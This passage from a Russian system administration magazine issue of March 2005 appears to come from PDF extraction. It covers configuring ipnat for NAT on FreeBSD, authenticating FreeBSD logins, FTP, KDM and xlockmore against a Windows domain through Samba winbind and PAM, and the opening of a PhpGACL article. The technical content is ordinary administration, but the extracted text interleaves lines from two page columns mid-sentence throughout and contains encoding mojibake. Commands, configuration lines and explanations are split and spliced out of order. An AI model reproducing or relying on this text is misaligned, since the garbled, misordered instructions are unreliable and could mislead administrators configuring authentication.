жет перемещать курсор мышки из одного монитора в дру- 5. Another Quick How-To for Dual-X-Headed/Legged Linux:
гой. Несмотря на то, что курсор свободно путешествует http://www.disjunkt.com/dualhead.
между рабочими столами разных видеокарт, окна и меню 6. Из архива сообщений Re: [K12OSN] 1PC+4KVM=4users/
перетащить нельзя. Создание скриншота рабочего стола PC: http://www.redhat.ru/archives/k12osn/2004-May/
для обоих частей работает раздельно. msg00260.html.
При включенном режиме Xinerama все три монитора 7. Matrox Graphics. Multi-display products: http://www.matrox.com/
рассматриваются как единый рабочий стол. Естественно, mga/multidisplay/product_chart.cfm.
скриншот снимается один со всей рабочей области. При 8. Welcome to the Multi-display community: http://www.matrox.com/
этом растянуть меню на все три монитора нельзя, а окна mga/multidisplay/md_testimonials.cfm.
можно. Либо меню находится на мониторе от S3 либо од- 9. Using Xinerama to MultiHead XFree86 V. 4.0+: http://
новременно на двух от Radeon. www.tldp.org/HOWTO/Xinerama-HOWTO/index.html.

№3, март 2005 19


администрирование

FreeBSD TIPS: ИСПОЛЬЗОВАНИЕ ipnat

СЕРГЕЙ СУПРУНОВ
В одной из предыдущих статей [1] было рассмотрено пост- Запуск фильтра можно выполнить из командной строки:
роение сервера NAT на основе FreeBSD и natd. Данная ста-
тья будет посвящена другому средству – модулю ipnat, вхо- # ipf -Fa -f /etc/ipf.rules
дящему в пакет IPFilter. Сам IPFilter уже рассматривался на
страницах журнала [2]. Ключ -Fa очищает все ранее заданные правила и заг-
Некоторые основополагающие моменты я повторю, что- ружает те, которые перечислены в конфигурационном фай-
бы сохранить целостность и самодостаточность этого ма- ле. Для автоматического запуска фильтра при перезагруз-
териала, а сосредоточимся мы именно на построении сер- ке добавьте опцию «ipfilter_enable = “YES”» в /etc/rc.conf.
вера NAT. Если поддержка фильтра не включалась в ядро, в списке
Во FreeBSD 5.3 IPFilter (ipf), входящий в состав систе- подгруженных модулей появится модуль ipl.ko.
мы, может быть встроен в ядро, для чего ядро нужно пере- Аналогично правила трансляции адресов записывают-
собрать с опциями IPFILTER и IPFILTER_LOG. Так же ipf ся по умолчанию в файл /etc/ipnat.rules. Запуск ipnat вы-
может быть запущен как модуль. Я воспользуюсь второй полняется командой:
возможностью.
Итак, ядро трогать не будем. Для работы ipnat фильтр # ipnat -CF -f /etc/ipnat.rules
ipf должен быть настроен и запущен. В простейшем случае
достаточно запустить его с парой правил, разрешающих Ключ -C очищает таблицу правил, ключ -F удаляет за-
прохождение любых пакетов, что может быть оправдано в писи из таблицы трансляций. Поскольку ipnat является, по
том случае, если регулирование пакетов вы уже осуществ- сути, частью пакетного фильтра, то никакого перенаправ-
ляете другим фильтром. Правила заносятся по умолчанию ления трафика на вход этого NAT-сервера не требуется. Вхо-
в /etc/ipf.rules: дящие пакеты сначала будут подвергаться трансляции
(пройдут через правила ipnat), затем поступят на вход ipf.
Ôàéë /etc/ipf.rules Исходящие пакеты, наоборот, сначала фильтруются на ipf,
pass in from any to any а что будет пропущено, подвергается трансляции в соот-
pass out from any to any ветствии с правилами ipnat.

20
администрирование
Для автоматического запуска при перезагрузке в /etc/ пример, следующие правила будут поочередно перенаправ-
rc.conf добавьте строчку «ipnat_enable = “YES”». лять входящие запросы то на один, то на другой сервер:
Итак, приступим к рассмотрению правил трансляции. За-
мечу, что, в отличие от ipfw, в ipf и ipnat, правила не нуме- rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵
port 8080 tcp round-robin
руются, и их порядок определяется последовательностью rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.81 ↵
загрузки, то есть местом в конфигурационном файле. port 8080 tcp round-robin
Собственно трансляция пакетов, исходящих с машин ло-
кальной сети в Интернет (маскарадинг), осуществляется Опция round-robin заставляет динамически менять по-
правилом map: рядок правил таким образом, что эти правила срабатыва-
ют по очереди.
map rl0 from 192.168.0.0/24 to any -> 100.100.100.101/32 Для контроля за работой ipnat используются два ключа:
-s и -l. Первый выдает общую статистику работы NAT-сер-
Читать его очень просто, почти как на естественном язы- вера:
ке: преобразовывать пакеты, проходящие через интерфейс
rl0, с адресов, принадлежащих указанной подсети, на лю- # ipnat -s
бые адреса, заменив адрес отправителя указанным реаль- mapped in 476 out 460
added 29 expired 27
ным. Если конкретизация адресов назначения не требует- no memory 0 bad nat 0
ся, можно использовать и упрощенный синтаксис: inuse 1
rules 1
map rl0 192.168.0.0/24 -> 100.100.100.101/32 wilds 0

Ipnat со вторым ключом выводит список активных пра-


Правило может быть дополнено некоторыми опциями, вил и список активных в данный момент сеансов:
из которых наиболее часто используется portmap. Она кон-
кретизирует, на какие номера портов отображать пакеты. # ipnat -l
Диапазон портов, которые разрешается использовать для List of active MAP/Redirect filters:
map rl0 from 192.168.0.100/32 to any -> 100.100.100.100/32
целей трансляции, задается в виде begin:endN. Например,
следующее правило позволяет использовать только TCP- List of active sessions:
порты с 10000 по 10999: MAP 192.168.0.100 1035 <- -> 100.100.100.100 1035 [64.12.26.148 443]

Дополнительные сведения можно, как обычно, получить


map rl0 192.168.0.0/24 -> 100.100.100.101/32 ↵ на страницах справочного руководства man ipnat(5), ipnat(1).
portmap tcp 10000:10999
Замечу, что ipfw, natd, ipf, ipnat отлично уживаются вме-
После символов «–>» может быть указан не только один сте. Нужно только не забывать про особенности фильтров:
адрес, но и подсеть внешних адресов. В этом случае пра- ipfw срабатывает по первому совпадению, а ipf (без опции
вило map сможет использовать любой свободный адрес из quick в правиле) – по последнему. Ну и всегда следует иметь
указанной подсети. в виду порядок прохождения пакета через фильтры. Так,
Для безусловной двунаправленной трансляции между если поддержка ipf собрана в ядре, то независимо от того,
внутренним и внешним адресами используется правило как запущен ipfw, в первую очередь пакеты будут прохо-
bimap: дить через правила ipf, а ipfw получит на вход только то,
что будет им пропущено. Если же ipfw собран в ядре, а ipf
bimap rl0 192.168.0.125/32 -> 100.100.100.125/32 подгружен как модуль, то правом первенства будет пользо-
ваться ipfw.
Помимо трансляции исходящих пакетов все входящие Как natd, так и ipnat, отлично справляются с типовыми
пакеты, адресованные хосту 100.100.100.125, будут перенап- задачами трансляции адресов, и выбор между ними – ско-
равляться на «внутреннюю» машину. Это правило позволит рее дело вкуса. В «экзотических» случаях могут понадо-
машине с адресом 192.168.0.125 выглядеть снаружи так, биться уникальные свойства того или иного сервера. На-
как будто она имеет реальный адрес 100.100.100.125. пример, средства проксирования у natd более развиты, чем
Если нужно пропускать пакеты, приходящие на опреде- у ipnat, зато с помощью ipnat намного проще реализовать
ленные порты, внутрь локальной сети, например, если там трансляцию различных групп адресов по разным правилам.
размещен Web- или FTP-сервер, используются правила пе- Если ipnat способен решать те задачи, которые вам требу-
ренаправления: ются, то, учитывая его «близость» к ядру и, следовательно,
лучшее быстродействие, рекомендуется использовать этот
rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵ сервер NAT. К тому же его конфигурация выглядит немно-
port 8080 tcp
го более удобной.
В этом случае TCP-пакеты, адресованные на 80-й порт
хоста 100.100.100.125, будут транслироваться на порт 8080 Литература:
машины, расположенной внутри локальной сети. 1. Супрунов С. FreeBSD tips: NAT по старинке. – журнал
Одним из интересных свойств редиректа является воз- «Системный администратор» №2, 2005 г.
можность создавать балансировщик нагрузки между не- 2. Ильченко Т. IPFilter с самого начала. – журнал «Систем-
сколькими серверами, хотя и довольно примитивный. На- ный администратор» №5, 2004 г.

№3, март 2005 21


администрирование

FreeBSD В ДОМЕНЕ Microsoft Windows


РАШИД АЧИЛОВ
Постановка задачи
Предположим, имеется некоторое количество компьютеров,
объединенных в локальную сеть и включенных в один
Microsoft-based домен с контроллером домена на базе
Windows 2000 Server. Как известно, в такой конфигурации
нет необходимости заводить пользователей на каждом из
компьютеров – достаточно создать пользователя в домене
и можно с его учетной записью регистрироваться и рабо-
тать на любом компьютере домена, если на то не установ-
лено специальных ограничений. Теперь предположим, что
в этот домен (например, MYDOMAIN) необходимо добавить
рабочую станцию под управлением FreeBSD. Полноценное
взаимодействие с членами Microsoft-based домена FreeBSD
выполняет с помощью пакета Samba. Можно ли обойтись
без создания локальных пользователей на FreeBSD и в
момент авторизации действовать так же, как рабочая стан- Getuid() обращается к единственному источнику инфор-
ция Microsoft Windows, – запрашивать список пользовате- мации – локальной базе пользователей – файлу master.passwd
лей с контроллера домена? До недавнего времени ответ для получения данных и выдает ответ, показанный выше.
был однозначен: «Нельзя». Несмотря на наличие в систе- Теперь мы вводим команду id в системе, которая подклю-
ме winbindd, который позволяет получать информацию о чена к домену Microsoft Windows надлежащим образом:
пользователях домена, не было способов интегрировать
доменных пользователей в систему и работать с ними так, > id user1
как если бы они были локальными (хотя новая Samba 3.x uid=15020(user1) gid=15001(Domain Users) groups=15001 (Domain Users),
15011(Consultant users), 15014(LaserJet 1100 users), 15017(Production Users)
предоставляет такую возможность). Но с выходом FreeBSD
5.x все изменилось в лучшую сторону. Getuid() обращается к файлу nsswitch.conf, получает из
Итак, задача: настроить систему таким образом, чтобы него список источников информации и последовательно об-
можно было регистрироваться в системе, а также заходить ращаясь к каждому, опрашивает их на предмет получения
по ftp, ssh, kdm и использовать xlockmore но при этом не данных. И точно так же будет вести себя любая другая про-
создавать локального пользователя. Полигон: рабочая стан- грамма, которой потребуется получить информацию о поль-
ция под управлением FreeBSD 5.3-RELEASE с установлен- зователе или, например, проверить пароль пользователя.
ной Samba 3.0.10, контроллер домена под управлением Во-вторых, это PAM (Pluggable Authentication Mechanism) –
Windows 2000 Server. В сети Microsoft Network рабочая стан- чрезвычайно мощный и столь же гибкий механизм, позволя-
ция называется MYSTATION, контроллер домена – MYPDC. ющий реализовывать практически любые механизмы аутен-
тификации пользователей любыми путями. Конечно, реали-
Новые возможности зация PAM была и в 4.x. Но только в 5.x появилась возмож-
Благодаря чему поставленная задача стала решаемой? Ре- ность использовать его для целей аутентификации из доме-
шение задачи базируется на двух краеугольных камнях. на Microsoft. Файл /etc/pam.conf в FreeBSD 5.x был заменен
Во-первых, во FreeBSD 5.х наконец-то появилась под- на каталог /etc/pam.d, в котором размещается по одному
держка NSS (Name Service Switching), благодаря чему те- файлу на каждый сервис с именем, совпадающим с назва-
перь возможно перенаправлять запросы программ, запра- нием сервиса. Таким образом, настройка FreeBSD для аутен-
шивающих информацию о пользователе, группе, компью- тификации из домена Microsoft Windows сводится к:
тере и т. д. Допустим, мы вводим команду id (выдать ин- ! Настройке Samba для обеспечения возможности рабо-
формацию о пользователе) в системе, не входящей в до- тать с доменом Microsoft Windows.
мен Microsoft Windows: ! Настройке PAM для обеспечения работоспособности
различных сервисов. Мы рассмотрим только несколько
> id user1 наиболее часто используемых сервисов: login, kdm, ftp,
uid=1001(user1) gid=999(user1) groups=999(user1), 0(wheel), 20(staff), ssh и xlock. При необходимости прочие сервисы могут
69(network), 70(pgsql)
быть настроены по образцу.
Программа id вызывает системную функцию getuid() для
получения информации о пользователе, логин которого за- Настройка Samba и NSS
дан в командной строке. Порядок получения информации Так же как театр начинается с вешалки, так и представле-
функцией getuid() во FreeBSD версий 4.х и 5.х приведен на ние FreeBSD, как и любой другой UNIX-системы в сети Micro-
рисунке. soft Windows, начинается с настройки пакета Samba. Об этом

22
администрирование
написано достаточно как на английском, так и на русском. С чты и т. д., потому что не будет требоваться указание доме-
моей точки зрения лучшей является документация, создан- на (user1 вместо MYDOMAIN\user1).
ная самими авторами пакета: «Using Samba», «Official Samba-
3 HOWTO and reference Guide», «Samba-3 by Example». winbind separator = +
Мы рассмотрим только настройки winbindd, необходи-
мые для получения информации из домена Microsoft Этот параметр задает разделитель между доменом и
Windows. Предполагается, что рабочая станция уже явля- именем пользователя. Значением по умолчанию является
ется членом домена. «\», но рекомендуется изменять параметр на что-нибудь дру-
гое, особенно, если планируется использование запросов
template homedir = /usr/home/%U к winbindd в скриптах. Символ «\» воспринимается команд-
ной оболочкой как служебный и обязательно должен быть
Этот параметр определяет «домашний каталог» сетево- «экранирован», то есть отмечен таким образом, чтобы ко-
го пользователя. Winbindd для каждого пользователя, отсут- мандная оболочка воспринимала его как обычный символ.
ствующего в локальной базе, создает запись, по формату При этом «экранирование» может проводиться неоднократ-
совпадающую с форматом записей файла master.passwd. но и определить нужное число символов становится весь-
Для заполнения полей, которые принципиально отсутству- ма нетривиальной задачей. Samba-3 HOWTO рекомендует
ют в домене Microsoft Windows, winbindd использует этот и устанавливать еще два параметра:
подобные ему другие параметры. Макрос %U, как это при-
нято в пакете Samba, обозначает имя пользователя. Ката- winbind enum users = yes
winbind enum groups = yes
лог должен существовать, пользователь должен иметь на
него необходимые права. При создании локальных пользо- По умолчанию эти значения уже установлены в «yes».
вателей все эти действия выполняет команда adduser. Как Если база пользователей большая, рекомендуется отклю-
обеспечить наличие домашнего каталога для сетевого чить перенумерацию, то есть установить значения в «no».
пользователя? Microsoft Windows выполняет это действие На что еще следует обратить внимание:
автоматически. Стандартное решение мне неизвестно, не- ! Samba по умолчанию собирается с winbindd, поэтому во
стандартных же способов есть несколько: время сборки пакета не отключайте эту опцию!
! Завести локального пользователя «_dummy» и вручную ! По умолчанию файлы динамических библиотек nss_win-
копировать домашний каталог всем создаваемым се- bind.so, pam_winbind.so, nss_wins.so и pam_smbpass.so
тевым пользователям с последующим изменением вла- (если его сборка была запрошена опцией PAM_
дельца файлов. SMBPASS) помещаются в каталог /usr/local/lib. Если рас-
! Использовать возможность PAM session. Данный эле- положение каталогов меняется, необходимо убедиться,
мент настроек PAM обычно используется для занесе- что каталог, в котором размещены данные файлы, вхо-
ния записей о начале сессии в файлы utmp/wtmp. дит в LDCONFIG_PATH.
! Берегите базу IDMAP, после того как были розданы пра-
template shell = /bin/tcsh ва на локальные файлы (допустим, создан профиль
KDE, загружены документы, и т. д.). База IDMAP содер-
Это второй параметр, который используется winbindd для жит соответствие между учетной записью домена и ло-
заполнения записи о сетевом пользователе. Если локаль- кальным UID/GID, которые будут вписываться в права
ная работа пользователей с данного компьютера не плани- на файл, как владелец и группа владельцев. Если база
руется, значением данного параметра можно выставить лю- IDMAP была случайно утеряна, то при следующем об-
бую неинтерактивную программу, обычно это /sbin/nologin. ращении она будет создана заново, но соответствие
между учетной записью и UID будет нарушено (первый
dmap gid = 15000-30000 пользователь, о котором была запрошена информация,
idmap uid = 15000-30000
получает UID = idmap uid, второй = idmap uid + 1 и т. д.)
Значения этих параметров очень важны для работы и можно обнаружить, что ваш домашний каталог при-
winbindd. Они задают диапазоны идентификаторов пользо- надлежит другому пользователю. База IDMAP содержит-
вателей и групп, выделяемых для сетевых пользователей. ся в двух файлах – /var/db/samba/winbind_groups.tdb и
В указанных диапазонах не должно существовать локаль- /var/db/samba/winbind_idmap.tdb.
ных пользователей или пользователей YP/NIS.
Настройка NSS выполняется правкой файла настройки
winbind use default domain = true nsswitch.conf. В него следует добавить или изменить сле-
дующие строчки:
Этот параметр определяет, как winbindd будет реагиро-
вать на имя пользователя, не содержащее домена. Если group: files winbind
passwd: files winbind
параметр указан, то winbindd будет подставлять workgroup=
<workgroup_or_domain_name> из smb.conf в качестве име- Более подробную информацию о формате файла
ни домена. Значение этого параметра практически не вли- nsswitch.conf и его возможностях можно получить из man
яет на работу в сети Microsoft Windows, зато значительно nsswitch.conf и главы 21 Samba 3 HOWTO «Winbind: use of
облегчает работу по протоколам ftp, ssh, электронной по- Domain accounts».

№3, март 2005 23


администрирование
Как проверить, правильно ли все настроено? ! Обязательно сохраните копию каталога /etc/pam.d до
Пример правильного вывода команды id был приведен того, как начнете вносить в него изменения! (Этот совет
выше. Если вместо этого появляется что-то типа: в неизменном виде кочует из одной статьи по PAM в
другую потому что авторы, как правило, на своей шку-
>id user2 ре убедились в его правильности).
id: user2: no such user ! Для внесения изменений в конфигурацию не нужно ни
при условии того, что пользователь user2 точно существу- перегружать систему, ни перезапускать какие-либо сер-
ет, значит, что-то настроено неправильно. Некоторые слу- висы – файл конфигурации сервиса считывается с дис-
чаи, которые могут привести к такой ситуации, рассмотре- ка в момент запроса к данному сервису, поэтому всё
ны в разделе «Возможные ошибки». время, пока идут эксперименты с PAM, держите откры-
той как минимум одну консоль с правами root для вне-
Настройка PAM сения изменений, если что-то вдруг пойдет не так. Одно
Итак, теперь мы можем получить информацию о пользова- неверное движение – и можно уже не попасть в систему
телях домена и использовать их имена точно так же, как иначе как в однопользовательском режиме.
имена локальных пользователей и групп, например, для
раздачи прав: Настройка регистрации с консоли
Первое, что необходимо настроить, – это возможность зай-
> ls -l ти на компьютер с консоли. Конфигурационный файл PAM
total 1468 для регистрации на консоли уже существует. Он разбит на
drwx------ 3 shelton Domain Users 1024 19 Dec 14:27 Desktop/
drwx------ 18 shelton Domain Users 3584 13 Feb 22:54 Mail/ две части – файлы /etc/pam.d/login и /etc/pam.d/system. Файл
drwxr-xr-x 2 shelton Domain Users 1024 14 Jan 2002 RFC/ /etc/pam.d/login нас не интересует, потому что содержит
drwx------ 10 shelton Domain Users 1024 11 Feb 14:49 documents/ только стандартные строки и вызов файла /etc/pam.d/
Пользователи Windows сразу узнают группу Domain system. В файл /etc/pam.d/system вносим следующие изме-
Users – стандартную группу Microsoft Windows домена. Но нения (в секцию auth):
это только еще половина дела. Регистрироваться с сете-
вой учетной записью мы все еще не можем, потому что auth sufficient pam_unix.so ↵
no_warn try_first_pass nullok
службы аутентификации компьютера ничего не знают ни о auth required pam_winbind.so ↵
сети Microsoft, ни об NSS. Службы аутентификации исполь- use_first_pass
зуют PAM и для решения второй части задачи следует со-
здать необходимые конфигурационные файлы. Что нам это дает?
Первая строка указывает PAM на необходимость исполь-
Что такое PAM зования модуля pam_unix, который выполняет аутентифика-
«...Pluggable Authentication Modules (PAM) – это набор API, цию по обычному файлу /etc/master.passwd. Дополнительные
который позволяет системным администраторам добавлять флаги указывают на то, что нужно запросить пароль у пользо-
методы аутентификации простым подключением новых PAM- вателя и что ввод пустой строки допустим. Условие suffcient
модулей, и модифицировать политики аутентификации про- вызовет прекращение проверки в случае успешной аутенти-
стым редактированием конфигурационных файлов...» – так фикации. Таким образом, если пользователь присутствует в
описан PAM в руководстве пользователя FreeBSD. PAM был файле /etc/master.passwd (например, root), дальнейшая про-
разработан в Sun Microsystems в 1995 г. и с тех пор не пре- верка по базе пользователей домена не выполняется.
терпел больших изменений. FreeBSD 5.х использует спе- Вторая строка определяет использование модуля
цификацию OpenPAM (в то время как FreeBSD 4.х исполь- pam_winbind, который выполняет аутентификацию по базе
зовала Linux-PAM), но для его изучения годится любая дос- домена Microsoft Windows. Флаг параметров указывает на
тупная документация. то, что нужно использовать пароль, введенный по запросу
Все системные службы по умолчанию используют PAM – предыдущего модуля, а не спрашивать его еще раз. Усло-
регистрируетесь ли вы на консоли, заходите ли на компью- вие required устанавливает состояние «успешно, если сле-
тер по ftp или ssh – соответствующая программа (login, ftp, дующие успешны». Поскольку следующих модулей нет, ре-
sshd) считывает оглавление каталога /etc/pam.d, находит зультат аутентификации будет определяться модулем
файл с именем, совпадающим с именем сервиса и получа- pam_winbind. В случае ввода правильного пароля предостав-
ет из него информацию о том, какие модули и в каком по- ляется доступ в систему и на консоли (а также в файле /var/
рядке следует использовать для аутентификации пользо- log/console, если помещение сообщений в этот файл настро-
вателя и как обрабатывать их ответы. ено) появляется сообщение:
Перед тем как вносить какие-либо изменения в содер- Feb 7 18:06:31 sentry kernel: Feb 7 18:06:31 sentry pam_winbind[23340]:
жимое каталога /etc/pam.d, необходимо отметить следующие user 'shelton' granted access
моменты: Если пароль указан неверно или указано неверное имя
! Конфигурация PAM довольно-таки запутанная и терми- пользователя, pam_winbind выдает соответствующие сооб-
нологически неустоявшаяся область, поэтому настоя- щения:
тельно рекомендуется ознакомиться с какой-нибудь до-
Feb 12 19:52:03 sentry kernel: Feb 12 19:52:03 sentry pam_winbind[55953]:
кументацией по PAM, перед тем как пытаться в нем что- request failed: No such user, PAM error was 13,
то самостоятельно изменить. NT error was NT_STATUS_NO_SUCH_USER

24
администрирование
Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]: Для включения сервиса proftpd создать файл /etc/pam.d/
request failed: Wrong Password, PAM error was 9, proftpd (можно скопировать стандартный файл ftp), дора-
NT error was NT_STATUS_WRONG_PASSWORD
Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]: ботать его так, как описано в разделе «Настройка регист-
user `shelton' denied access (incorrect password or invalid membership) рации с консоли». PAM не требует перезагрузки каких-либо
демонов, поэтому проверить работоспособность конфигу-
Настройка KDM рации можно немедленно:
Если компьютер используется как рабочая станция, то вто-
рой по важности будет возможность запустить графичес- Connected to localhost.granch.ru.
220 Private FTP server by some porgrammer from Granch Ltd.
кую оболочку. В крайнем случае, конечно, можно восполь- Name (localhost:shelton): shelton
зоваться «дедовским» методом и прямо из консольного 331 Password required for shelton.
Password: ********
обработчика команд запустить startx, прописав в .xinitrc 230 User shelton logged in.
«exec startkde» последней строчкой. Поэтому мы копиру- Remote system type is UNIX.
ем файл /etc/pam.d/xdm (стандартный) в /etc/rc.d/kdm и Using binary mode to transfer files.
ftp>
вносим в него изменения, аналогичные описанным выше.
После внесения изменений секция auth-файла /etc/pam.d/ При этом на консоли отображается сообщение pam_
kdm должна выглядеть так: winbind о предоставлении доступа, приводимое выше, а в
файле /var/log/ftpd – регистрация обычного ftp-сеанса.
# auth
auth required pam_nologin.so no_warn
auth sufficient pam_unix.so ↵ Настройка программы xlockmore
no_warn try_first_pass nullok Последним рассмотренным примером будет широко изве-
auth required pam_winbind.so ↵
use_first_pass стная программа блокировки экрана xlockmore, выводящая
при этом различные заставки. Xlockmore содержит около
Логика работы аутентификаторов будет в точности совпа- 50 различных заставок, в том числе трехмерных. При за-
дать с логикой работы, описанной в предыдущем разделе. пуске блокируются клавиатура и экран, и выводится зас-
тавка во время неактивности и пояснительный текст при
Настройка SSH нажатии любой клавиши. (Внизу отображается содержимое
При настройке SSH я позволил себе немножко схитрить. Не файла .signature, если он присутствует в домашнем ката-
стал настраивать PAM для SSH, а вместо этого воспользо- логе). Для разблокировки экрана следует ввести пароль,
вался возможностью SSH-аутентификации по публичному который программа проверяет либо по локальной базе
ключу. Поскольку SSH использует собственный перечень пользователей, либо с использованием PAM.
методов аутентификации, в котором метод publickey идет до Xlockmore по умолчанию не использует PAM. Для вклю-
метода password, проверка доступа с использованием PAM чения его использования необходимо дописать в Makefile
в таком случае не используется. Порядок настройки аутен- порта в строчку CONFIGURE_ARGS ключ --enable-pam и пе-
тификации по публичному ключу изложен в любой докумен- ресобрать программу. При этом следует иметь в виду, что
тации по SSH, а также в статье «Копирование файлов в ав- ключи --enable-pam и --with-xlock-group почему-то являются
томатическом режиме с множества компьютеров через SSH», взаимоисключающими – при их одновременном разреше-
опубликованной в журнале №12, 2004 г. Если же использо- нии сборка программы завершается с ошибкой.
вать методы аутентификации, основанные на PAM, то необ- Для использования PAM следует создать файл /etc/
ходимо создать файл /etc/pam.d/ssh2 (можно скопировать pam.d/xlock (можно скопировать стандартный файл xdm) и
стандартный файл, например, xdm), в который вписать сек- изменить его, как показано в разделе «Настройка регист-
цию auth приведенную выше, последовательность вызова мо- рации с консоли». Следует учитывать то, что программа
дулей проверки доступа. Естественно, SSH должен быть со- пропускает только нажатие клавиши переключения раскла-
бран с поддержкой PAM. Кроме того, конфигурационный док, при этом факт переключения раскладки нигде не ото-
файл сервера должен включать следующие строчки: бражается, все остальные (в том числе Enter, ESC и пр.) –
интерпретируются как часть пароля!
AllowedAuthentications keyboard-interactive
AuthKbdInt.Optional pam
Дополнительное ограничение
а конфигурационный файл клиента: Теперь мы можем регистрироваться в системе с доменной
учетной записью. Но ведь теперь это же могут делать и все
AllowedAuthentications keyboard-interactive пользователи домена! Такая свобода нам вовсе ни к чему,
поэтому настроим дополнительное ограничение – возмож-
ность использования некоторого сервиса только членам
Настройка FTP определенной локальной группы. В этом нам опять помо-
В качестве FTP-сервера я использую ProFTPd из порта ftp/ жет PAM.
proftpd. Поддержка PAM в нем включена по умолчанию. Для Существует стандартный модуль pam_group, который
ее использования нужно добавить в конфигурационный решает именно такую задачу, – аутентификация успешна,
файл сервера proftpd.conf строчку: только если пользователь входит в некую локальную груп-
пу. Если его включить в цепочку аутентификаторов, зада-
AuthPAM on ча должна быть решена.

№3, март 2005 25


администрирование
На практике все оказалось не так-то просто. Модуль по- ! winbindd настроен правильно (параметры template shell,
чему-то упорно отказывался работать, несмотря на явную template homedir, idmap uid, idmap gid не имеют значе-
правильность задания параметра. После некоторого иссле- ний по умолчанию!);
дования был создан патч для модуля, после наложения ко- ! команды wbinfo -p и wbinfo -t выдают успешные резуль-
торого все начинает работать, как ожидалось. Патч приве- таты (подробнее см. man wbinfo);
ден ниже: ! компьютер входит в домен;
! доступен как минимум один контроллер домена, если
--- pam_group.c.old Tue Dec 14 19:38:56 2004 указано password server = * или компьютер, указанный
+++ pam_group.c Tue Dec 14 19:38:56 2004
@@ -70,7 +70,7 @@ как сервер паролей в параметре password server;
return (PAM_IGNORE); ! каталог, в котором находится файл nss_winbind.so при-
/* get applicant */ сутствует в переменной LDCONFIG_PATH (в особенно-
- if (pam_get_item(pamh, PAM_RUSER, &ruser) != PAM_SUCCESS сти если это нестандартный каталог);
+ if (pam_get_item(pamh, PAM_USER, &ruser) != PAM_SUCCESS
|| ruser == NULL || (pwd = getpwnam(ruser)) == NULL) ! отсутствие сообщений об ошибках в файлах log.smbd,
return (PAM_AUTH_ERR); log.nmbd и log.winbindd, а также на консоли (например,
файл nss_wins.so, предназначенный для поиска компь-
Итоговая логика работы аутентификаторов такова (на ютеров по NetBIOS-имени, запустить не удалось из-за
примере файла для сервиса kdm): постоянной непонятной ошибки).

# auth Ошибки PAM


auth required pam_nologin.so no_warn
auth sufficient pam_unix.so ↵ Ошибки PAM диагностировать значительно труднее, потому
no_warn try_first_pass nullok что практически отсутствуют средства их обнаружения. Для
auth required pam_group.so ↵
group=ntstaff диагностирования работы цепочек можно использовать мо-
auth required pam_winbind.so ↵ дуль pam_echo, который выводит на экран передаваемые ему
use_first_pass
параметры (а также значения макроподстановок. Что мож-
Если существует файл /var/run/nologin (это проверяется но получить через макросы, указано в man pam_echo).
модулем pam_nologin), то доступ будет запрещен, незави- С чем могут быть связаны ошибки PAМ:
симо от результата работы прочих модулей (required). Если ! каталог с файлом pam_winbind.so отсутствует в пере-
pam_nologin разрешает доступ, то устанавливается состо- менной LDCONFIG_PATH;
яние «разрешить доступ, если не было запретов от других ! неверные условия для какого-либо модуля из цепочки;
модулей». ! неверное построение цепочки.
Если pam_unix разрешает доступ (это означает, что
пользователь существует в локальной базе пользователей), Необходимо точное понимание того, как условия required,
то обработка цепочки прекращается, доступ будет предос- requisute, sufficient и прочие воздействуют на цепочку. Не-
тавлен. Иначе результат pam_unix игнорируется (sufficient). верное построение цепочки может привести к тому, что до-
Если пользователь присутствует в локальной группе ступ не будет предоставлен при правильных условиях или
ntstaff, pam_group разрешает доступ, и состояние «разре- будет предоставлен при неверных условиях.
шить доступ, если не было запретов от других модулей»
сохраняется. Иначе же доступ будет запрещен, независи- Заключение
мо от результата работы прочих модулей (required). Данная статья рассматривает как на одну небольшую сту-
Если pam_winbind разрешает доступ и состояние «раз- пеньку приблизить ваш компьютер к «FreeBSD Desktop».
решить доступ, если не было запретов от других модулей» Исключение необходимости создания локального юзера для
сохранилось, то доступ будет предоставлен, в противном работы за компьютером, входящим в домен Microsoft
случае доступ предоставлен не будет. Иначе говоря, если Windows – маленький, но полезный шаг в этом направле-
присутствуют модули с условием required, то результат их нии.
работы обьединяется по «и» – доступ будет предоставлен,
только если все модули предоставили доступ. Литература:
1. http://www.freebsd.org/doc/en_US.ISO8859-1/articles/pam/
Возможные ошибки article.html – Pluggable Authentication Modules by Dag-
Erling Smorgrav, 2003 г.
Ошибки Winbindd 2. http://www.onlamp.com/pub/a/bsd/2003/02/06/FreeBSD_
Если настройка winbindd была выполнена, но команда id Basics.html – PAM by Dru Lavinge, 2003 г.
user2 не выдает информацию о группах, в которые входит 3. The Offifical Samba-3 HOWTO and reference guide. Jelmer
пользователь, а выдает что-то типа: R. Vernooij, John H. Terpstra, Gerald (Jerry) Carter, 2004 г.
4. Samba-3 by example. John H. Terpstra, 2004 г.
>id user2 5. SSH Secure Shell for Server version 3.2.9 Administrators
id: user2: no such user Guide. SSH Communications Secuirty Corp., 2003 г.
следует проверить следующие вещи: 6. man pam_echo, man pam_group, man pam.conf, man
! winbindd запущен (несмотря на всю тривиальность дан- smb.conf, man pam_winbind, man sshd.conf.
ного совета);

26
администрирование

PhpGACL – СИСТЕМА УПРАВЛЕНИЯ ПРАВАМИ

КИРИЛЛ СУХОВ
Авторизация, аутентификация – эти проблемы всегда появ- ляет особо сложной задачи. Формируем пользователей и
ляются при разработке многопользовательских веб-прило- на каждый объект системы (в данном случае это веб-стра-
жений. Для их решения применяются различные механиз- ницы, но при более высоком уровне абстракции объектами
мы, которые давно и хорошо известны. Задача контроля прав могут быть и таблицы, и базы данных) устанавливаем пра-
доступа несколько сложнее, а её универсальное решение с ва доступа. В вышеописанном случае сгруппируем эти пра-
произвольным количеством объектов и субъектов, причём с ва в простенькую таблицу:
простым управлением вырастает в довольно серьёзную ра-
боту. Я не раз и не два наблюдал, как программист создал
собственную систему управления правами, да и сам изоб-
рёл пару велосипедов на этом фронте. PhpGACL – это на-
бор функций, призванный если и не решить проблему уп-
равления правами раз и навсегда, то по крайней мере, зна-
чительно её упростить. Он легко встраивается в готовое при-
ложение и позволяет реализовать довольно сложную схему
полномочий пользователей. Объектами доступа могут быть
веб-страницы сайта, базы данных, другие пользователи, хо-
сты и т. д. Для установки не требуется ничего, кроме нали-
чия реляционной базы данных (PostgreSQL, MySQL, Oracle,
